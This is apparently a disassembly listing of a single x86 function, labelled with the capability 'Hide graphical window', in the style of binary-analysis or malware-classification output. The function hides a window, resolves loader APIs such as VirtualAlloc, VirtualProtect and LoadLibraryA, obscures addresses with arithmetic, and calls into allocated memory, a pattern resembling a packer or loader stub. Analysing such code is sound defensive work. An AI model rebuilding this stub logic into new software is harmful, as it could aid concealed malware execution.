Function at 0x401310
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x18], 0xe000
mov dword [ebp - 0x1c], 0x202
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 8
cmp dword [ebp + 8], 0
jne 0x4013a6
jmp 0x4013ad
mov dword [ebp - 8], 0x405b13
push 1
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop eax
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x34]
mov dword [ecx + 0xc], edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 8]
sub edx, 0x4872
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.00401030
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], 0x1000
cmp dword [ebp - 0xc], 0
je 0x401527
mov dword [ebp - 0x34], 0x767acc0e
push dword [ebp - 8]
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop eax
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 8]
mov dword [edx + 4], eax
mov dword [ebp - 0x30], 0x3000
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [eax + 0x10], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edx + 0x18], eax
cmp dword [ebp - 0x28], 0
je 0x401473
mov ecx, dword [ebp - 0x34]
sub ecx, 0x767a0000
mov dword [ebp - 0x34], ecx
pop dword [ebp - 8]
mov ebx, 0x20
add ebx, 0x20
push ebx
mov eax, 0x1000
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_LoadBitmapA]
mov eax, dword [ebp - 8]
push eax
mov eax, 0
push eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x34]
sub eax, 0x3acb
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x68], 0
cmp dword [ebp - 8], 0x65
jbe 0x4014ca
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x44]
mov dword [ecx + 8], edx
lea eax, [ebp - 0x58]
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x74], 0
mov edx, dword [ebp - 0x78]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x6c], 0
push 0x401270
pop dword [ebp - 0x6c]
push dword [ebp - 8]
mov ebx, dword [ebp - 0x7c]
push ebx
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x80], 0
push 4
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x80]
push ecx
call fcn.00401710
add esp, 0xc
call dword [ebp - 0x80]
cmp dword [ebp - 0x20], 0xffffffff
je 0x401537
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
pop ebx
mov esp, ebp
pop ebp
ret